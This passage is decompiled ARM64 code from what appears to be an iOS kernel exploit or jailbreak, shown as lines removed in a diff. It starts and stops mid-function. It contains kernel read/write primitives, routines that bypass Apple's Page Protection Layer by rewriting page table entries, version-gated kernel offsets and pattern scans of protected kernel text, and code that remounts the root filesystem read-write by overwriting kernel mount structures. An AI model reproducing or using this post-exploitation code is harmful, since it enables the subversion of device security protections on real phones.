CFArrayGetCount((CFArrayRef)cf); - v14 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E48); - v21.location = 0LL; - v21.length = Count; - CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context); - if ( (_BYTE)context ) - { - context = 0; - v20 = v9; - v15 = CFArrayGetCount((CFArrayRef)cf); - v16 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12DB0); - v22.location = 0LL; - v22.length = v15; - CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context); - v8 = context; - } - else - { - v8 = 0xAD014; - } - } - } - } - } - *(_DWORD *)a3 = v8; - return; - } -LABEL_19: - if ( !*(_DWORD *)a3 ) - CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf); -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000012BF4) ---------------------------------------------------- -__int64 __fastcall sub_12BF4(const void *a1, const void *a2) -{ - __int64 v2; // x20 - CFTypeID v5; // x22 - CFTypeID v6; // x22 - void (__cdecl *v7)(const void *, const void *, void *); // x0 - unsigned int v9; // [xsp+0h] [xbp-30h] BYREF - const void *v10; // [xsp+8h] [xbp-28h] - - v2 = 0xAD001LL; - if ( a1 ) - { - v5 = CFGetTypeID(a1); - if ( v5 == CFDictionaryGetTypeID() ) - { - if ( a2 ) - { - v6 = CFGetTypeID(a2); - if ( v6 == CFDictionaryGetTypeID() ) - { - v9 = 0; - v10 = a1; - v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_12C98); - CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); - return v9; - } - } - } - } - return v2; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000012C98) ---------------------------------------------------- -void __fastcall sub_12C98(void *key, const __CFArray *a2, __int64 a3) -{ - CFTypeID v5; // x21 - CFIndex Count; // x21 - void (__cdecl *v7)(const void *, void *); // x0 - int v8; // w8 - int context; // [xsp+8h] [xbp-38h] BYREF - void *v10; // [xsp+10h] [xbp-30h] - void *value; // [xsp+18h] [xbp-28h] BYREF - CFRange v12; // 0:x1.16 - - if ( a3 && !*(_DWORD *)a3 ) - { - if ( key && a2 ) - { - value = 0LL; - if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) ) - { - v8 = 0xAD011; - goto LABEL_14; - } - v5 = CFGetTypeID(value); - if ( CFGetTypeID(a2) == v5 ) - { - if ( CFArrayGetTypeID() == v5 ) - { - context = 0; - v10 = value; - Count = CFArrayGetCount(a2); - v7 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E88); - v12.location = 0LL; - v12.length = Count; - CFArrayApplyFunction(a2, v12, v7, &context); - v8 = context; -LABEL_14: - *(_DWORD *)a3 = v8; - return; - } - if ( CFEqual(a2, value) ) - { - *(_DWORD *)a3 = 0; - return; - } - } - v8 = 0xAD014; - goto LABEL_14; - } - v8 = 0xAD001; - goto LABEL_14; - } -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000012DB0) ---------------------------------------------------- -void __fastcall sub_12DB0(const void *a1, __int64 a2) -{ - const __CFArray *v4; // x21 - __CFArray *v5; // x0 - __int64 vars8; // [xsp+28h] [xbp+8h] - CFRange v7; // 0:x1.16 - - if ( a2 && !*(_DWORD *)a2 ) - { - if ( a1 ) - { - v4 = *(const __CFArray **)(a2 + 8); - v7.length = CFArrayGetCount(v4); - v7.location = 0LL; - if ( !CFArrayContainsValue(v4, v7, a1) ) - { - v5 = *(__CFArray **)(a2 + 8); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - CFArrayAppendValue(v5, a1); - } - } - else - { - *(_DWORD *)a2 = 0xAD001; - } - } -} -// 12E28: variable 'vars8' is possibly undefined - -//----- (0000000000012E48) ---------------------------------------------------- -const void *__fastcall sub_12E48(const void *result, _BYTE *a2) -{ - CFTypeID v3; // x20 - - if ( a2 ) - { - if ( !result || (v3 = CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), (const void *)v3 != result) ) - *a2 = 0; - } - return result; -} - -//----- (0000000000012E88) ---------------------------------------------------- -const void *__fastcall sub_12E88(const void *result, __int64 a2) -{ - const void *v3; // x20 - int v4; // w22 - const __CFArray *v5; // x21 - CFRange v6; // 0:x1.16 - - if ( a2 && !*(_DWORD *)a2 ) - { - v3 = result; - v4 = 0xAD001; - if ( result ) - { - v5 = *(const __CFArray **)(a2 + 8); - v6.length = CFArrayGetCount(v5); - v6.location = 0LL; - result = (const void *)CFArrayContainsValue(v5, v6, v3); - if ( (_DWORD)result ) - return result; - v4 = 0xAD011; - } - *(_DWORD *)a2 = v4; - } - return result; -} - -//----- (0000000000012EF8) ---------------------------------------------------- -void __fastcall sub_12EF8(__int64 a1) -{ - unsigned __int64 v2; // x8 - unsigned __int64 v3; // x8 - unsigned __int64 v4; // x8 - unsigned __int64 v5; // x8 - __int64 vars8; // [xsp+18h] [xbp+8h] - - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) - && ((v2 = *(_QWORD *)(a1 + 0x158), v2 > 0x2712000C6FFFFFLL) - || v2 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712) - || krw_ctx_has_flag((_DWORD *)a1, 0x5100000) - && ((v3 = *(_QWORD *)(a1 + 0x158), v3 > 0x271200073FFFFFLL) - || v3 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) <= 0x2711) ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_15CC8(a1); - } - else if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184000) - || (v4 = *(_QWORD *)(a1 + 0x158), v4 <= 0x2712000C6FFFFFLL) - && (v4 <= 0x225C23800FFFFFLL || *(int *)(a1 + 0x140) >= 0x2712) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5100000) - || (v5 = *(_QWORD *)(a1 + 0x158), v5 <= 0x271200073FFFFFLL) - && (v5 <= 0x225C1E804FFFFFLL || *(int *)(a1 + 0x140) >= 0x2712) ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - nullsub_2(a1); - } - } -} -// 12F90: variable 'vars8' is possibly undefined -// 22D68: using guessed type __int64 __fastcall nullsub_2(_QWORD); - -//----- (000000000001308C) ---------------------------------------------------- -bool __fastcall sub_1308C(_DWORD *a1) -{ - return krw_ctx_has_flag(a1, 0x5184001); -} - -//----- (00000000000130B4) ---------------------------------------------------- -void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) -{ - unsigned __int64 v8; // x24 - unsigned __int64 v9; // x26 - __int64 v10; // x25 - __int64 v11; // x8 - unsigned __int64 v12; // x23 - unsigned __int64 v13; // x26 - __int64 v14; // x28 - int v15; // w0 - bool v16; // cc - unsigned __int64 v17; // x8 - unsigned __int64 v18; // x9 - unsigned __int64 v19; // x10 - int v20; // w9 - __int64 v21; // x0 - __int64 v22; // [xsp+0h] [xbp-70h] BYREF - __int64 v23; // [xsp+8h] [xbp-68h] BYREF - unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF - __int64 v25; // [xsp+18h] [xbp-58h] BYREF - - v24 = 0LL; - v25 = 0LL; - v22 = 0LL; - v23 = 0LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && a2 && a3 && (_DWORD)a4 ) - { - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) - { - if ( (unsigned int)sub_1353C(a1, (__int64 *)&v24, (int *)&v23 + 1) ) - { - v8 = v24; - if ( v24 <= a2 ) - { - v9 = a2 + (unsigned int)a4; - v10 = HIDWORD(v23); - if ( v9 <= v24 + HIDWORD(v23) ) - { - if ( (unsigned int)sub_36160(a1, 3u, &v25) ) - { - if ( v25 ) - goto LABEL_13; - v16 = (unsigned int)v10 > 0x8C000 - || (unsigned __int64)(*(_QWORD *)(a1 + 0x158) - 0x18090A07900000LL) > 0xF788FFFFFLL; - v17 = v10 + 8; - if ( !v16 ) - v17 = 0x8C008LL; - v18 = *(unsigned int *)(a1 + 0x180); - v19 = v17 % v18; - v20 = v18 - v17 % v18; - if ( !v19 ) - v20 = 0; - LODWORD(v23) = v17 + v20; - v21 = sub_3796C(a1, &v23); - v25 = v21; - if ( v21 ) - { - if ( (unsigned int)sub_361DC(a1, 3u, v21) ) - { -LABEL_13: - v11 = *(_QWORD *)(a1 + 0x188); - v12 = a2 & ~v11; - v13 = (v9 - 1) & ~v11; - if ( v12 > v13 ) - { -LABEL_19: - kwritebuf_last_1(a1, a2 - v8 + v25, a3, a4); - } - else - { - while ( (unsigned int)kreadbuf_last_1(a1, v25 + v10, 8LL, (__int64)&v22) ) - { - v14 = 1 << ((v12 - v8) >> 0xE); - if ( (v22 & v14) == 0 ) - { - sub_13750(a1, v25 + v12 - v8, v12); - if ( !v15 ) - break; - v22 |= v14; - if ( !(unsigned int)kwritebuf_last_1(a1, v25 + v10, (__int64)&v22, 8LL) ) - break; - } - v12 += *(unsigned int *)(a1 + 0x180); - if ( v12 > v13 ) - goto LABEL_19; - } - } - } - } - } - } - } - } - } - else - { - sub_13304(a1, a2, a3, a4, 0); - } - } -} -// 13224: variable 'v15' is possibly undefined - -//----- (0000000000013304) ---------------------------------------------------- -bool __fastcall sub_13304(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5) -{ - int v10; // w0 - __int64 v11; // x8 - unsigned __int64 v12; // x24 - __int64 v13; // x27 - _QWORD *v14; // x8 - __int64 v15; // x9 - __int64 v16; // x10 - __int64 v17; // x1 - __int64 v18; // x0 - __int64 v19; // x26 - __int64 v20; // x8 - unsigned __int64 v21; // x25 - unsigned __int64 v22; // x0 - int v23; // w0 - _BYTE v25[12]; // [xsp+4h] [xbp-5Ch] BYREF - - v10 = sub_251A4(a1, 5u, 0x2710u); - if ( !v10 ) - { - *(_QWORD *)&v25[4] = 0LL; - v11 = *(_QWORD *)(a1 + 0x188); - v12 = a2 & ~v11; - if ( v12 == ((a2 + (unsigned int)a4 - 1) & ~v11) ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - v13 = 0x10LL; - else - v13 = 0x100LL; - v14 = (_QWORD *)(a1 + 0x878); - v15 = v13; - do - { - if ( !*v14 ) - break; - if ( v12 == *v14 ) - { - v16 = v14[0xFFFFFFFF]; - if ( v16 ) - { - v17 = a2 - v12 + v16; -LABEL_30: - if ( (unsigned int)kwrite_something(a1, v17, a3, a4, a5) ) - { - v10 = sub_25164(a1, 5u); - return v10 == 0; - } - goto LABEL_32; - } - } - v14 += 2; - --v15; - } - while ( v15 ); - if ( !(unsigned int)sub_36160(a1, 7u, (__int64 *)&v25[4]) ) - goto LABEL_32; - if ( *(_QWORD *)&v25[4] ) - { - if ( !(unsigned int)kreadbuf_last_1(a1, *(__int64 *)&v25[4], (unsigned int)(0x10 * v13), a1 + 0x870) ) - goto LABEL_32; - } - else - { - *(_QWORD *)v25 = (unsigned int)(0x10 * v13); - v18 = sub_3796C(a1, v25); - *(_QWORD *)&v25[4] = v18; - if ( !v18 || !(unsigned int)sub_361DC(a1, 7u, v18) ) - goto LABEL_32; - bzero((void *)(a1 + 0x870), (unsigned int)(0x10 * v13)); - } - v19 = 0x870LL; - while ( 1 ) - { - v20 = *(_QWORD *)(a1 + v19 + 8); - if ( !v20 ) - break; - if ( v12 == v20 ) - { - v21 = *(_QWORD *)(a1 + v19); - if ( v21 ) - goto LABEL_29; - } - v19 += 0x10LL; - if ( !--v13 ) - goto LABEL_32; - } - *(_DWORD *)v25 = *(_DWORD *)(a1 + 0x180); - v22 = sub_37210(a1, (unsigned int *)v25); - if ( v22 ) - { - if ( *(_DWORD *)v25 == *(_DWORD *)(a1 + 0x180) ) - { - v21 = v22; - sub_13750(a1, v22, v12); - if ( v23 ) - { - *(_QWORD *)(a1 + v19 + 8) = v12; - *(_QWORD *)(a1 + v19) = v21; - if ( (unsigned int)kwritebuf_last_1( - a1, - *(_QWORD *)&v25[4] + ((v19 - 0x870) & 0xFFFFFFFF0LL), - a1 + v19, - 0x10LL) ) - { -LABEL_29: - v17 = a2 - v12 + v21; - goto LABEL_30; - } - } - } - } - } -LABEL_32: - sub_25164(a1, 5u); - v10 = 0xAD00B; - } - return v10 == 0; -} -// 134A0: variable 'v23' is possibly undefined - -//----- (000000000001353C) ---------------------------------------------------- -__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3) -{ - __int64 v6; // x22 - int v7; // w8 - __int64 v9; // x0 - int v10; // w8 - int v11; // w9 - char *v13; // x22 - unsigned __int64 v14; // x9 - __int64 v15; // x0 - __int64 v16; // x23 - unsigned __int64 v17; // x0 - unsigned __int64 v18; // x0 - __int64 v19; // x0 - int v20; // w9 - __int128 v21; // [xsp+0h] [xbp-60h] BYREF - unsigned __int64 v22; // [xsp+10h] [xbp-50h] - __int128 v23; // [xsp+18h] [xbp-48h] BYREF - unsigned __int64 v24; // [xsp+28h] [xbp-38h] - - v6 = *(_QWORD *)(a1 + 0x1888); - if ( v6 ) - { - v7 = *(_DWORD *)(a1 + 0x1890); -LABEL_3: - *a2 = v6; - *a3 = v7; - return 1LL; - } - v9 = *(_QWORD *)(a1 + 0x19F8); - v10 = *(_DWORD *)(v9 + 0x70); - if ( v10 > 0x2257 ) - { - if ( v10 != 0x2258 && v10 != 0x225C ) - { - v11 = 0x2712; -LABEL_13: - if ( v10 != v11 ) - { - v13 = 0LL; - goto LABEL_15; - } - } - } - else if ( (unsigned int)(v10 - 0x1F53) >= 2 ) - { - if ( v10 == 0x1809 ) - { - v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54"; - goto LABEL_15; - } - v11 = 0x1C1B; - goto LABEL_13; - } - v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02"; -LABEL_15: - sub_19B98("__PPLTEXT", v9, &v23); - if ( *(_QWORD *)(a1 + 0x158) >= 0x18091980200000uLL && *(int *)(a1 + 0x140) <= 0x1C1A ) - { - if ( !*((_QWORD *)&v23 + 1) ) - return 0LL; - v14 = *(unsigned int *)(a1 + 0x180); - if ( v24 <= v14 ) - return 0LL; - *((_QWORD *)&v23 + 1) += v14; - v24 -= v14; - } - v21 = v23; - v22 = v24; - v15 = kernel_pattern_scan((__int64)&v21, v13, 0); - if ( v15 ) - { - v16 = v15; - v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v15 - 0x10)); - if ( v17 ) - v6 = sub_19B94(*(_QWORD *)(a1 + 0x19F8), v17); - else - v6 = 0LL; - if ( *(int *)(a1 + 0x140) >= 0x1C1B ) - { - v18 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 - 8)); - if ( !v18 ) - return 0LL; - v19 = sub_19B94(*(_QWORD *)(a1 + 0x19F8), v18); - if ( !v19 ) - return 0LL; - v7 = v19 - v6; - if ( !v6 ) - return 0LL; -LABEL_31: - v20 = *(_DWORD *)(a1 + 0x140); - if ( v20 <= 0x1C1A ) - { - if ( v20 < 0x1809 ) - { - v7 = 0x90000; - } - else if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A078FFFFFuLL ) - { - v7 = 0x8C000; - } - else - { - v7 = 0x88000; - } - } - *(_QWORD *)(a1 + 0x1888) = v6; - *(_DWORD *)(a1 + 0x1890) = v7; - goto LABEL_3; - } - v7 = 0; - if ( v6 ) - goto LABEL_31; - } - return 0LL; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (0000000000013750) ---------------------------------------------------- -void __fastcall sub_13750(__int64 a1, unsigned __int64 a2, unsigned __int64 a3) -{ - int v5; // w0 - unsigned __int64 v6; // x21 - int v7; // w0 - __int64 v8; // x20 - unsigned __int64 v9; // x22 - unsigned __int64 v10; // x21 - __int128 v11; // [xsp+0h] [xbp-80h] BYREF - __int128 v12; // [xsp+10h] [xbp-70h] - unsigned __int64 v13; // [xsp+20h] [xbp-60h] - __int128 v14; // [xsp+30h] [xbp-50h] BYREF - __int128 v15; // [xsp+40h] [xbp-40h] - unsigned __int64 v16; // [xsp+50h] [xbp-30h] - - v16 = 0LL; - v14 = 0u; - v15 = 0u; - v13 = 0LL; - v11 = 0u; - v12 = 0u; - sub_2183C(a1, a3, (__int64)&v11); - if ( v5 ) - { - if ( BYTE4(v12) == 3 ) - { - v6 = v13; - sub_2183C(a1, a2, (__int64)&v14); - if ( v7 ) - { - if ( BYTE4(v15) == 3 ) - { - v8 = v14; - v9 = v16; - v10 = v16 & 0xFFFF000000003FFFLL | (((v6 >> 0xE) & 0x3FFFFFFFFLL) << 0xE); - if ( ((unsigned int)v10 == (unsigned int)v16 || sub_13924(a1, v14, v10)) - && (HIDWORD(v9) == HIDWORD(v10) || sub_13924(a1, v8 + 4, SHIDWORD(v10))) ) - { - sub_2AABC(a1, 0x2710u); - } - } - } - } - } -} -// 13794: variable 'v5' is possibly undefined -// 137B8: variable 'v7' is possibly undefined - -//----- (0000000000013844) ---------------------------------------------------- -void __fastcall sub_13844(__int64 a1, unsigned __int64 a2, int a3) -{ - unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF - unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF - int v8; // [xsp+1Ch] [xbp-24h] BYREF - __int64 vars8; // [xsp+48h] [xbp+8h] - - v8 = a3; - v7 = 0LL; - v6 = 0; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530000000000uLL ) - goto LABEL_6; - if ( !(unsigned int)sub_1353C(a1, (__int64 *)&v7, (int *)&v6) ) - return; - if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) - { - sub_130B4(a1, a2, (__int64)&v8, 4LL); - } - else - { -LABEL_6: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_13924(a1, a2, a3); - } - } -} - -//----- (0000000000013924) ---------------------------------------------------- -bool __fastcall sub_13924(__int64 a1, unsigned __int64 a2, int a3) -{ - unsigned __int64 v6; // x8 - unsigned __int64 v7; // x8 - int v8; // w0 - unsigned __int64 v10; // x8 - - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) - && ((v6 = *(_QWORD *)(a1 + 0x158), v6 > 0x2712000C6FFFFFLL) - || v6 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712) - || krw_ctx_has_flag((_DWORD *)a1, 0x5100000) - && ((v7 = *(_QWORD *)(a1 + 0x158), v7 > 0x271200073FFFFFLL) - || v7 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) <= 0x2711) ) - { - v8 = sub_15D1C(a1, a2, a3); - return v8 == 0; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184000) ) - { - v10 = *(_QWORD *)(a1 + 0x158); - if ( v10 > 0x2712000C6FFFFFLL ) - goto LABEL_17; - if ( v10 > 0x225C23800FFFFFLL && *(int *)(a1 + 0x140) < 0x2712 ) - goto LABEL_21; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5100000) ) - { -LABEL_22: - v8 = kwrite_dmaFail_sub_22D6C((_DWORD *)a1, a2, a3); - return v8 == 0; - } - v10 = *(_QWORD *)(a1 + 0x158); - if ( v10 <= 0x271200073FFFFFLL ) - { - if ( v10 > 0x225C1E804FFFFFLL && *(int *)(a1 + 0x140) < 0x2712 ) - goto LABEL_21; - goto LABEL_22; - } -LABEL_17: - if ( v10 <= 0x27120A807FFFFFLL ) - { -LABEL_21: - v8 = sub_B768(a1, a2, a3); - return v8 == 0; - } - return 0LL; -} - -//----- (0000000000013AE4) ---------------------------------------------------- -__int64 __fastcall ppl_kwritebuf(__int64 a1, unsigned __int64 a2, __int64 a3, int a4) -{ - __int64 v8; // x20 - char v9; // w23 - unsigned int v10; // w26 - __int64 v11; // x25 - unsigned int v12; // w9 - size_t v13; // x24 - unsigned int v14; // w28 - const void *v15; // x26 - int v16; // w0 - vm_address_t address; // [xsp+8h] [xbp-58h] BYREF - - if ( vm_allocate(mach_task_self_, &address, *(unsigned int *)(a1 + 0x180), 1) ) - return 0LL; - v9 = kaddr_need_ppl_bypass(a1, a2); - v10 = 0; - while ( 1 ) - { - v11 = a2 + v10; - v12 = *(_DWORD *)(a1 + 0x180) - (v11 & *(_DWORD *)(a1 + 0x188)); - v13 = a4 - v10 <= v12 ? a4 - v10 : v12; - if ( !(unsigned int)kreadbuf_last_1(a1, a2 + v10, v13, address) ) - break; - v14 = v10; - v15 = (const void *)(a3 + v10); - if ( memcmp((const void *)address, v15, v13) ) - { - ppl_kwritebuf_nocheck(a1, v11, (__int64)v15, v13, v9, 0); - if ( !v16 ) - break; - } - v10 = v13 + v14; - if ( (_DWORD)v13 + v14 == a4 ) - { - v8 = 1LL; - goto LABEL_13; - } - } - v8 = 0LL; -LABEL_13: - vm_deallocate(mach_task_self_, address, *(unsigned int *)(a1 + 0x180)); - return v8; -} -// 13BC4: variable 'v16' is possibly undefined - -//----- (0000000000013C14) ---------------------------------------------------- -bool __fastcall kaddr_need_ppl_bypass(__int64 a1, unsigned __int64 a2) -{ - _BOOL8 result; // x0 - __int64 v5; // x8 - unsigned __int64 v6; // x9 - - result = 1; - if ( !sub_38544(a1, a2, 0LL, a2) ) - { - v5 = *(_QWORD *)(a1 + 0x19F8); - if ( !v5 ) - return 0; - v6 = *(_QWORD *)(v5 + 0xE0); - if ( v6 > a2 || *(_QWORD *)(v5 + 0xE8) + v6 <= a2 ) - return 0; - } - return result; -} - -//----- (0000000000013C78) ---------------------------------------------------- -void __fastcall ppl_kwritebuf_nocheck(__int64 a1, __int64 a2, __int64 a3, __int64 a4, char a5, int a6) -{ - __int64 v10; // x8 - unsigned __int64 v11; // x1 - int v13; // w0 - int v14; // w0 - unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF - unsigned __int8 v16; // [xsp+1Ch] [xbp-44h] - __int64 v17; // [xsp+28h] [xbp-38h] - __int64 vars8; // [xsp+68h] [xbp+8h] - - if ( a2 ) - { - if ( a3 ) - { - if ( (_DWORD)a4 ) - { - v10 = *(_QWORD *)(a1 + 0x188); - v11 = a2 & ~v10; - if ( v11 == ((a2 + (unsigned int)a4 - 1) & ~v10) ) - { - if ( (a5 & 1) != 0 ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - sub_13304(a1, a2, a3, a4, a6); - } - else - { - sub_2183C(a1, v11, (__int64)&v15); - if ( v13 && (v16 | 2) == 3 ) - { - if ( (v17 & 0x80) != 0 ) - { - sub_13844(a1, v15, v17 & 0xFFFFFF7F); - if ( !v14 ) - return; - sub_2AABC(a1, 0x2710u); - } - kwrite_something(a1, a2, a3, a4, a6); - } - } - } - } - } - } -} -// 13D20: variable 'v13' is possibly undefined -// 13D4C: variable 'v14' is possibly undefined - -//----- (0000000000013D9C) ---------------------------------------------------- -void __fastcall sub_13D9C(_DWORD *a1, unsigned __int64 a2, __int64 a3) -{ - char v6; // w0 - __int64 v7; // [xsp+0h] [xbp-30h] BYREF - __int64 v8; // [xsp+8h] [xbp-28h] BYREF - - v8 = a3; - if ( krw_ctx_has_flag(a1, 0x5184001) && (unsigned int)kread64(a1, a2, &v7) && v7 != a3 ) - { - v6 = kaddr_need_ppl_bypass((__int64)a1, a2); - ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1[0x5A], v6, 1); - } -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000013E38) ---------------------------------------------------- -__int64 __fastcall kwrite_something(__int64 a1, __int64 a2, __int64 a3, __int64 a4, int a5) -{ - __int64 result; // x0 - - if ( !a5 || *(_DWORD *)(a1 + 0x168) != (_DWORD)a4 ) - { - result = kwritebuf_last_1(a1, a2, a3, a4); - if ( !(_DWORD)result ) - return result; - return 1LL; - } - __memcpy_chk(); - result = kwrite64(a1, a2, 0LL); - if ( (_DWORD)result ) - return 1LL; - return result; -} -// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000013EBC) ---------------------------------------------------- -__int64 __fastcall check_rootfs_rw(__int64 a1, int *a2) -{ - const char *v3; // x20 - int v5; // w8 - __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF - char v7[48]; // [xsp+10h] [xbp-8D0h] BYREF - statfs v8; // [xsp+40h] [xbp-8A0h] BYREF - - bzero(&v8, 0x878uLL); - v6 = 0x2F; - strcpy(v7, "/private/var/MobileSoftwareUpdate/mnt1"); - if ( sub_22CA8(0LL) ) - v3 = v7; - else - v3 = (const char *)&v6; - if ( statfs(v3, &v8) ) - { - if ( *__error() != 2 ) - return 0LL; - } - else if ( !(*(_QWORD *)v8.f_mntfromname ^ 0x7369642F7665642FLL | *(_QWORD *)&v8.f_mntfromname[7] ^ 0x31733173306B73LL) - && !strcmp(v3, v8.f_mntonname) ) - { - v5 = (v8.f_flags & 1) == 0; - goto LABEL_10; - } - v5 = 3; -LABEL_10: - *a2 = v5; - return 1LL; -} - -//----- (0000000000013FF8) ---------------------------------------------------- -bool __fastcall sub_13FF8(__int64 a1, char *a2) -{ - int v3; // w8 - _BOOL8 v4; // x21 - __int64 v5; // x21 - int v6; // w0 - int v7; // w20 - __int64 v8; // x0 - int v10; // [xsp+4h] [xbp-2Ch] BYREF - __int64 v11; // [xsp+8h] [xbp-28h] BYREF - - v10 = 0; - v3 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v3 - 0x1F53) < 2 ) - { - v5 = 0x260LL; - } - else if ( v3 == 0x1809 ) - { - v5 = 0x208LL; - } - else - { - v4 = 0LL; - if ( v3 != 0x1C1B ) - return v4; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - v5 = 0x218LL; - else - v5 = 0x200LL; - } - v6 = open(a2, 0x100000); - if ( v6 < 0 ) - return 0LL; - v7 = v6; - v8 = sub_14164((_DWORD *)a1); - v11 = v8; - if ( v8 - && kread64((_DWORD *)a1, v8 + v5, &v11) - && validate_addr(a1, v11) - && kread64((_DWORD *)a1, v11 + 0xE0, &v11) - && validate_addr(a1, v11) - && (unsigned int)kreadbuf_last_1(a1, v11 + 0x30, 4LL, (__int64)&v10) ) - { - v10 &= ~0x4000u; - v4 = (unsigned int)kwritebuf_last_1(a1, v11 + 0x30, (__int64)&v10, 4LL) != 0; - } - else - { - v4 = 0LL; - } - close(v7); - return v4; -} - -//----- (0000000000014164) ---------------------------------------------------- -__int64 __fastcall sub_14164(_DWORD *a1) -{ - int v1; // w8 - __int64 result; // x0 - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - v1 = a1[0x50]; - if ( (unsigned int)(v1 - 0x1F53) >= 2 && v1 != 0x1C1B && v1 != 0x1809 ) - return 0LL; - result = sub_14CA4(); - if ( !result ) - return result; - v6 = result + 0x8F8; - if ( !kread64(a1, result + 0x8F8, &v6) ) - return 0LL; - if ( validate_addr((__int64)a1, v6) ) - return v6; - return 0LL; -} - -//----- (00000000000141F0) ---------------------------------------------------- -__int64 __fastcall sub_141F0(__int64 a1) -{ - __int64 result; // x0 - unsigned int v3; // w20 - _BOOL4 v4; // w0 - char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF - statfs v7; // [xsp+8h] [xbp-8C8h] BYREF - char v8[40]; // [xsp+880h] [xbp-50h] BYREF - - strcpy(v6, "/"); - strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1"); - bzero(&v7, 0x878uLL); - if ( statfs(v6, &v7) ) - return 0LL; - result = add_rw_to_disk(a1, v6, "/dev/disk0s1s1"); - if ( (_DWORD)result ) - { - v3 = 0; - do - { - usleep(0x186A0u); - v4 = sub_14444(v8); - if ( !v4 ) - break; - } - while ( v3++ < 0x32 ); - if ( !v4 ) - return 1LL; - add_rw_to_disk(a1, v6, v7.f_mntfromname); - return 0LL; - } - return result; -} - -//----- (00000000000142F8) ---------------------------------------------------- -__int64 __fastcall add_rw_to_disk(__int64 a1, const char *a2, const char *a3) -{ - int v6; // w8 - size_t v9; // x0 - int v10; // w22 - int v11; // w0 - int v12; // w21 - __int64 v13; // x0 - __int64 v14; // x23 - __int64 v15; // x19 - int v17; // [xsp+Ch] [xbp-8B4h] BYREF - statfs v18; // [xsp+10h] [xbp-8B0h] BYREF - - bzero(&v18, 0x878uLL); - v17 = 0; - v6 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v6 - 0x1F53) >= 2 && v6 != 0x1C1B && v6 != 0x1809 ) - return 0LL; - if ( statfs(a2, &v18) ) - return 0LL; - v9 = strlen(a3); - if ( v9 > 0x3FF ) - return 0LL; - v10 = v9; - v11 = open(a2, 0); - if ( v11 < 1 ) - return 0LL; - v12 = v11; - v13 = sub_14CA4(); - if ( v13 - && (v14 = v13 + 0x4E4, (unsigned int)kreadbuf_last_1(a1, v13 + 0x4E4, 4LL, (__int64)&v17)) - && v17 == *(_DWORD *)v18.f_mntfromname ) - { - v15 = kwritebuf_last_1(a1, v14, (__int64)a3, (unsigned int)(v10 + 1)); - } - else - { - v15 = 0LL; - } - close(v12); - return v15; -} - -//----- (0000000000014444) ---------------------------------------------------- -bool __fastcall sub_14444(const char *a1) -{ - statfs v3; // [xsp+0h] [xbp-8A0h] BYREF - - bzero(&v3, 0x878uLL); - if ( statfs(a1, &v3) ) - { - __error(); - } - else if ( !(*(_QWORD *)v3.f_mntfromname ^ 0x7369642F7665642FLL | *(_QWORD 